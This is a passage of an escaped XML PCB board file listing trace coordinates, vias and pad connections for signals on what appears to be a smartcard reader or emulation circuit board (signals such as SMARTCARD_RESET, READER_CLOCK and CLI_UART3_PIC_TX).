layer=\"1\"/>\n<wire x1=\"38.4\" y1=\"68\" x2=\"52.1\" y2=\"68\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"53.4\" y1=\"59.9\" x2=\"53.3948\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<via x=\"54.1\" y=\"62.9\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"53.3\" y=\"66.8\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"38.4\" y1=\"68\" x2=\"37.69\" y2=\"68.71\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"JP15\" pad=\"13\"/>\n<wire x1=\"37.7\" y1=\"68.8\" x2=\"37.7\" y2=\"70.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"37.7\" y1=\"70.2\" x2=\"37.95\" y2=\"70.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"37.7\" y1=\"68.8\" x2=\"37.69\" y2=\"68.71\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.3\" y1=\"61.7\" x2=\"52.3\" y2=\"62.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.3\" y1=\"62.6\" x2=\"52.6\" y2=\"62.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"53.4\" y1=\"59.9\" x2=\"53.4\" y2=\"61.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"53.4\" y1=\"61.1\" x2=\"53.2\" y2=\"61.3\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"RG13\">\n<contactref element=\"U6\" pad=\"97\"/>\n<wire x1=\"52.4\" y1=\"60.9\" x2=\"52.4\" y2=\"59.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"42.6\" y1=\"61.4\" x2=\"51.9\" y2=\"61.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"42.7\" y1=\"61\" x2=\"42.6\" y2=\"61.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.4\" y1=\"59.9\" x2=\"52.4042\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<via x=\"42.7\" y=\"61\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"11\"/>\n<wire x1=\"32.87\" y1=\"71.6\" x2=\"32.87\" y2=\"71.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"32.87\" y1=\"71.3\" x2=\"32.87\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"41.7\" y1=\"72.1\" x2=\"41.7\" y2=\"61.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"41.7\" y1=\"61.7\" x2=\"42.4\" y2=\"61\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"42.4\" y1=\"61\" x2=\"42.7\" y2=\"61\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"41.7\" y1=\"72.1\" x2=\"41\" y2=\"72.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"41\" y1=\"72.8\" x2=\"33.5\" y2=\"72.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"33.5\" y1=\"72.8\" x2=\"32.9\" y2=\"72.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"32.9\" y1=\"72.2\" x2=\"32.9\" y2=\"71.33\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"32.9\" y1=\"71.33\" x2=\"32.87\" y2=\"71.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"52.4\" y1=\"60.9\" x2=\"51.9\" y2=\"61.4\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"RG12\">\n<contactref element=\"U6\" pad=\"96\"/>\n<wire x1=\"52.3\" y1=\"58.4\" x2=\"52.5\" y2=\"58.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.5\" y1=\"59.2\" x2=\"52.3\" y2=\"58.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"51.5\" y1=\"62.1\" x2=\"51.5\" y2=\"59.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"51.2\" y1=\"61.8\" x2=\"51.5\" y2=\"62.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39.1\" y1=\"61.8\" x2=\"51.2\" y2=\"61.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"38.4\" y1=\"62.5\" x2=\"39.1\" y2=\"61.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"35.4\" y1=\"65.5\" x2=\"38.4\" y2=\"62.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"35.4\" y1=\"70\" x2=\"35.4\" y2=\"65.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"35.2\" y1=\"70.2\" x2=\"35.4\" y2=\"70\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"52.9\" y1=\"59.8\" x2=\"52.9122\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<via x=\"52.3\" y=\"58.4\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"51.5\" y=\"62.1\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"38.4\" y=\"62.5\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"12\"/>\n<wire x1=\"35.2\" y1=\"70.2\" x2=\"35.41\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"52.9\" y1=\"59.8\" x2=\"52.9\" y2=\"58.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.9\" y1=\"58.7\" x2=\"52.6\" y2=\"58.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.6\" y1=\"58.4\" x2=\"52.6\" y2=\"58.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.6\" y1=\"58.5\" x2=\"52.5\" y2=\"58.6\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"EMULATION_DRIVE\">\n<contactref element=\"U6\" pad=\"14\"/>\n<wire x1=\"20.1\" y1=\"34.3\" x2=\"19.95\" y2=\"34.15\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"20.1\" y1=\"34.9\" x2=\"20.1\" y2=\"34.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"44.5\" y1=\"51.7\" x2=\"49.2\" y2=\"51.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"44\" y1=\"43.5\" x2=\"44\" y2=\"51.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"43.2\" y1=\"42.7\" x2=\"44\" y2=\"43.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"42.5\" y1=\"42\" x2=\"43.2\" y2=\"42.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"24.3\" y1=\"42\" x2=\"42.5\" y2=\"42\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"22.2\" y1=\"39.9\" x2=\"24.3\" y2=\"42\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"19.9\" y1=\"37.6\" x2=\"22.2\" y2=\"39.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"19.9\" y1=\"34.2\" x2=\"19.9\" y2=\"37.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"49.2\" y1=\"51.7\" x2=\"49.28\" y2=\"51.692\" width=\"0.2\" layer=\"1\"/>\n<via x=\"18.6\" y=\"30.4\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"44\" y=\"51.2\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"43.2\" y=\"42.7\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"22.2\" y=\"39.9\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"44.5\" y1=\"51.7\" x2=\"44\" y2=\"51.2\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"JP14\" pad=\"6\"/>\n<wire x1=\"20.2\" y1=\"35\" x2=\"20.17\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"19.9\" y1=\"34.2\" x2=\"19.95\" y2=\"34.15\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"19.9\" y1=\"34.2\" x2=\"20.17\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"R2\" pad=\"2\"/>\n<wire x1=\"16.05\" y1=\"30.4\" x2=\"18.6\" y2=\"30.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"18.6\" y1=\"30.4\" x2=\"20.17\" y2=\"31.97\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"20.17\" y1=\"31.97\" x2=\"20.17\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"CLI_UART3_PIC_TX\">\n<contactref element=\"U6\" pad=\"12\"/>\n<wire x1=\"47.3\" y1=\"52.7\" x2=\"49.2\" y2=\"52.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47.1\" y1=\"52.9\" x2=\"47.3\" y2=\"52.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"44.4\" y1=\"50.2\" x2=\"47.1\" y2=\"52.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"43.2\" y1=\"41.7\" x2=\"44.4\" y2=\"42.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"41.6\" y1=\"40.1\" x2=\"43.2\" y2=\"41.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"24.4\" y1=\"40.1\" x2=\"41.6\" y2=\"40.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"23.5\" y1=\"39.2\" x2=\"24.4\" y2=\"40.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"18.7\" y1=\"39.2\" x2=\"23.5\" y2=\"39.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"17.8\" y1=\"38.3\" x2=\"18.7\" y2=\"39.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"15.1\" y1=\"35.6\" x2=\"17.8\" y2=\"38.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"15.1\" y1=\"35\" x2=\"15.1\" y2=\"35.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"49.2\" y1=\"52.7\" x2=\"49.28\" y2=\"52.708\" width=\"0.2\" layer=\"1\"/>\n<via x=\"47.1\" y=\"52.9\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"43.2\" y=\"41.7\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"17.8\" y=\"38.3\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"4\"/>\n<wire x1=\"15.1\" y1=\"35\" x2=\"15.09\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"15.1\" y1=\"35\" x2=\"15.09\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"44.4\" y1=\"50.2\" x2=\"44.4\" y2=\"42.9\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"TP41\" pad=\"TP\"/>\n<wire x1=\"15.09\" y1=\"34.95\" x2=\"15.09\" y2=\"32.21\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"15.09\" y1=\"32.21\" x2=\"16.2\" y2=\"31.1\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"CLI_UART3_PIC_RX\">\n<contactref element=\"U6\" pad=\"11\"/>\n<wire x1=\"50.3\" y1=\"53.2\" x2=\"49.3\" y2=\"53.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.7\" y1=\"53.6\" x2=\"50.3\" y2=\"53.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.6\" y1=\"53.7\" x2=\"50.7\" y2=\"53.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"50.6\" y1=\"56.3\" x2=\"50.6\" y2=\"53.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"46.8\" y1=\"60.1\" x2=\"50.6\" y2=\"56.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"45.6\" y1=\"60.1\" x2=\"46.8\" y2=\"60.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"45.4\" y1=\"59.9\" x2=\"45.6\" y2=\"60.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"20.3\" y1=\"52.7\" x2=\"27.5\" y2=\"59.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"16.5\" y1=\"48.9\" x2=\"20.3\" y2=\"52.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"12.7\" y1=\"48.9\" x2=\"16.5\" y2=\"48.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"12.7\" y1=\"35.2\" x2=\"12.7\" y2=\"48.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"12.5\" y1=\"35\" x2=\"12.7\" y2=\"35.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"49.3\" y1=\"53.2\" x2=\"49.28\" y2=\"53.1906\" width=\"0.2\" layer=\"1\"/>\n<via x=\"50.7\" y=\"53.6\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"45.6\" y=\"60.1\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"27.5\" y=\"59.9\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"20.3\" y=\"52.7\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"12.7\" y=\"48.9\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"3\"/>\n<wire x1=\"12.5\" y1=\"35\" x2=\"12.55\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"12.5\" y1=\"35\" x2=\"12.55\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"27.5\" y1=\"59.9\" x2=\"39.4\" y2=\"59.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39.4\" y1=\"59.9\" x2=\"39.9\" y2=\"60.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39.9\" y1=\"60.4\" x2=\"42\" y2=\"60.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"42\" y1=\"60.4\" x2=\"42.5\" y2=\"59.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"42.5\" y1=\"59.9\" x2=\"45.4\" y2=\"59.9\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TP40\" pad=\"TP\"/>\n<wire x1=\"11.9\" y1=\"31.1\" x2=\"12.55\" y2=\"31.75\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"12.55\" y1=\"31.75\" x2=\"12.55\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"READ_LED_GREEN\">\n<contactref element=\"U6\" pad=\"10\"/>\n<contactref element=\"LED4\" pad=\"C\"/>\n<wire x1=\"9.9\" y1=\"34.2\" x2=\"9.7\" y2=\"34\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"9.9\" y1=\"34.9\" x2=\"9.9\" y2=\"34.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"46.1\" y1=\"53.7\" x2=\"49.2\" y2=\"53.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"45.3\" y1=\"52.9\" x2=\"46.1\" y2=\"53.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"41.4\" y1=\"42.4\" x2=\"41.8\" y2=\"42.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"16.1\" y1=\"42.4\" x2=\"41.4\" y2=\"42.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"12.7\" y1=\"39\" x2=\"16.1\" y2=\"42.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"12.7\" y1=\"36.7\" x2=\"12.7\" y2=\"39\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"11.9\" y1=\"36.7\" x2=\"12.7\" y2=\"36.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"10.2\" y1=\"35\" x2=\"11.9\" y2=\"36.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"10\" y1=\"35\" x2=\"10.2\" y2=\"35\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"49.2\" y1=\"53.7\" x2=\"49.28\" y2=\"53.6986\" width=\"0.2\" layer=\"1\"/>\n<via x=\"45.3\" y=\"52.9\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"41.8\" y=\"42.8\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"41.5\" y1=\"50.3\" x2=\"43.1\" y2=\"51.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"43.1\" y1=\"51.9\" x2=\"44.3\" y2=\"51.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"44.3\" y1=\"51.9\" x2=\"45.3\" y2=\"52.9\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"JP14\" pad=\"2\"/>\n<wire x1=\"10\" y1=\"35\" x2=\"10.01\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"9.9\" y1=\"34.9\" x2=\"10.01\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"3.35\" y1=\"11.2\" x2=\"3.2\" y2=\"11.35\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"41.5\" y1=\"47.8\" x2=\"41.5\" y2=\"50.3\" width=\"0.2\" layer=\"16\"/>\n<via x=\"5.6\" y=\"14.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"5.6\" y1=\"14.2\" x2=\"5.7\" y2=\"14.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"3.2\" y1=\"11.35\" x2=\"3.2\" y2=\"11.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"3.2\" y1=\"11.8\" x2=\"5.6\" y2=\"14.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"9.7\" y1=\"34\" x2=\"9.7\" y2=\"18.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"9.7\" y1=\"18.2\" x2=\"5.7\" y2=\"14.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"42.1\" y1=\"47.2\" x2=\"42.1\" y2=\"43.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"42.1\" y1=\"43.2\" x2=\"41.8\" y2=\"42.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"41.8\" y1=\"42.9\" x2=\"41.8\" y2=\"42.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"42.1\" y1=\"47.2\" x2=\"41.5\" y2=\"47.8\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"RG1\">\n<contactref element=\"U6\" pad=\"89\"/>\n<wire x1=\"54.9\" y1=\"57.7\" x2=\"56.1\" y2=\"57.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"54.8\" y1=\"57.8\" x2=\"54.9\" y2=\"57.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"54.8\" y1=\"68\" x2=\"54.8\" y2=\"57.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"53\" y1=\"69.8\" x2=\"54.8\" y2=\"68\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"53\" y1=\"70.2\" x2=\"53\" y2=\"69.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"56.4\" y1=\"59.8\" x2=\"56.392\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<via x=\"54.9\" y=\"57.7\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"19\"/>\n<wire x1=\"53\" y1=\"70.2\" x2=\"53.19\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"56.4\" y1=\"59.8\" x2=\"56.4\" y2=\"58\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"56.4\" y1=\"58\" x2=\"56.1\" y2=\"57.7\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"RG0\">\n<contactref element=\"U6\" pad=\"90\"/>\n<wire x1=\"53\" y1=\"62\" x2=\"55.4\" y2=\"62\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.6\" y1=\"62.4\" x2=\"53\" y2=\"62\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"52.6\" y1=\"67.6\" x2=\"52.6\" y2=\"62.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"50.4\" y1=\"69.8\" x2=\"52.6\" y2=\"67.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"50.4\" y1=\"70.2\" x2=\"50.4\" y2=\"69.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.9\" y1=\"59.9\" x2=\"55.9094\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<via x=\"53\" y=\"62\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"18\"/>\n<wire x1=\"50.4\" y1=\"70.2\" x2=\"50.65\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.9\" y1=\"59.9\" x2=\"55.9\" y2=\"61.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.9\" y1=\"61.5\" x2=\"55.4\" y2=\"62\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"SMARTCARD_RESET\">\n<contactref element=\"U6\" pad=\"18\"/>\n<contactref element=\"U7\" pad=\"CARD_RESET_PIN2\"/>\n<wire x1=\"50.7\" y1=\"49.7\" x2=\"49.3\" y2=\"49.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47.3\" y1=\"46.3\" x2=\"50.7\" y2=\"49.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"37.7\" y1=\"46.3\" x2=\"47.3\" y2=\"46.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"37.2\" y1=\"45.8\" x2=\"37.7\" y2=\"46.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"26.3\" y1=\"45.8\" x2=\"37.2\" y2=\"45.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"26\" y1=\"45.5\" x2=\"26.3\" y2=\"45.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"26\" y1=\"36.1\" x2=\"26\" y2=\"45.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"25.2\" y1=\"35.3\" x2=\"26\" y2=\"36.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"49.3\" y1=\"49.7\" x2=\"49.28\" y2=\"49.7108\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"15\" y1=\"36.7\" x2=\"13.96\" y2=\"38.24\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"23.5\" y1=\"36.7\" x2=\"15\" y2=\"36.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"25.25\" y1=\"34.95\" x2=\"23.5\" y2=\"36.7\" width=\"0.2\" layer=\"1\"/>\n<via x=\"50.7\" y=\"49.7\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"47.3\" y=\"46.3\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"26.3\" y=\"45.8\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"8\"/>\n<wire x1=\"25.2\" y1=\"35.3\" x2=\"25.2\" y2=\"35\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"25.2\" y1=\"35\" x2=\"25.25\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"TP21\" pad=\"TP\"/>\n<wire x1=\"13.96\" y1=\"38.24\" x2=\"13.96\" y2=\"39.06\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"13.96\" y1=\"39.06\" x2=\"15.1\" y2=\"40.2\" width=\"0.2\" layer=\"1\"/>\n<via x=\"15.1\" y=\"40.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"15.1\" y1=\"40.2\" x2=\"15.7\" y2=\"40.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"15.7\" y1=\"40.8\" x2=\"16.7\" y2=\"41.9\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"READER_CLOCK_ENABLE\">\n<contactref element=\"U6\" pad=\"19\"/>\n<contactref element=\"U5\" pad=\"1\"/>\n<contactref element=\"U5\" pad=\"4\"/>\n<contactref element=\"U5\" pad=\"10\"/>\n<contactref element=\"U5\" pad=\"13\"/>\n<wire x1=\"24.2\" y1=\"22.7\" x2=\"24.1\" y2=\"22.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"26\" y1=\"22.7\" x2=\"25.8\" y2=\"22.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"25.8\" y1=\"22.7\" x2=\"24.2\" y2=\"22.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"27.2\" y1=\"21.5\" x2=\"26\" y2=\"22.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.7\" y1=\"21.5\" x2=\"27.2\" y2=\"21.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"24.1\" y1=\"22.8\" x2=\"24.0378\" y2=\"22.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.7\" y1=\"21.5\" x2=\"28.7622\" y2=\"21.53\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"24.2\" y1=\"26.5\" x2=\"24.1\" y2=\"26.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"26\" y1=\"26.5\" x2=\"24.2\" y2=\"26.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"27.1\" y1=\"25.4\" x2=\"27.05\" y2=\"25.45\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"27.05\" y1=\"25.45\" x2=\"26\" y2=\"26.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.7\" y1=\"25.4\" x2=\"27.1\" y2=\"25.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"24.1\" y1=\"26.6\" x2=\"24.0378\" y2=\"26.61\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.7\" y1=\"25.4\" x2=\"28.7622\" y2=\"25.34\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"26.9\" y1=\"23.8\" x2=\"25.8\" y2=\"22.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"26.9\" y1=\"25.3\" x2=\"26.9\" y2=\"23.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"27.05\" y1=\"25.45\" x2=\"26.9\" y2=\"25.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"48\" y1=\"49.2\" x2=\"49.2\" y2=\"49.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47.6\" y1=\"48.8\" x2=\"48\" y2=\"49.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"41.1\" y1=\"48.8\" x2=\"47.6\" y2=\"48.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39\" y1=\"46.7\" x2=\"41.1\" y2=\"48.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"37.5\" y1=\"46.7\" x2=\"39\" y2=\"46.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"37.3\" y1=\"46.5\" x2=\"37.5\" y2=\"46.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"27.1\" y1=\"46.5\" x2=\"37.3\" y2=\"46.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"27.5\" y1=\"46.1\" x2=\"27.1\" y2=\"46.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"27.5\" y1=\"35.2\" x2=\"27.5\" y2=\"46.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"27.7\" y1=\"35\" x2=\"27.5\" y2=\"35.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"49.2\" y1=\"49.2\" x2=\"49.28\" y2=\"49.2028\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"27.5\" y1=\"25.9\" x2=\"26.9\" y2=\"25.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"27.5\" y1=\"35.1\" x2=\"27.5\" y2=\"25.9\" width=\"0.2\" layer=\"16\"/>\n<via x=\"25.8\" y=\"22.7\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"26.9\" y=\"25.3\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"27.1\" y=\"46.5\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"9\"/>\n<wire x1=\"27.8\" y1=\"35\" x2=\"27.79\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"27.7\" y1=\"35\" x2=\"27.79\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"27.5\" y1=\"35.1\" x2=\"27.79\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"READER_CLOCK\">\n<contactref element=\"U5\" pad=\"12\"/>\n<contactref element=\"U5\" pad=\"9\"/>\n<contactref element=\"U5\" pad=\"5\"/>\n<contactref element=\"U5\" pad=\"2\"/>\n<wire x1=\"24.2\" y1=\"21.4\" x2=\"24.1\" y2=\"21.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"26\" y1=\"21.4\" x2=\"24.2\" y2=\"21.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"27.1\" y1=\"20.3\" x2=\"26\" y2=\"21.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.7\" y1=\"20.3\" 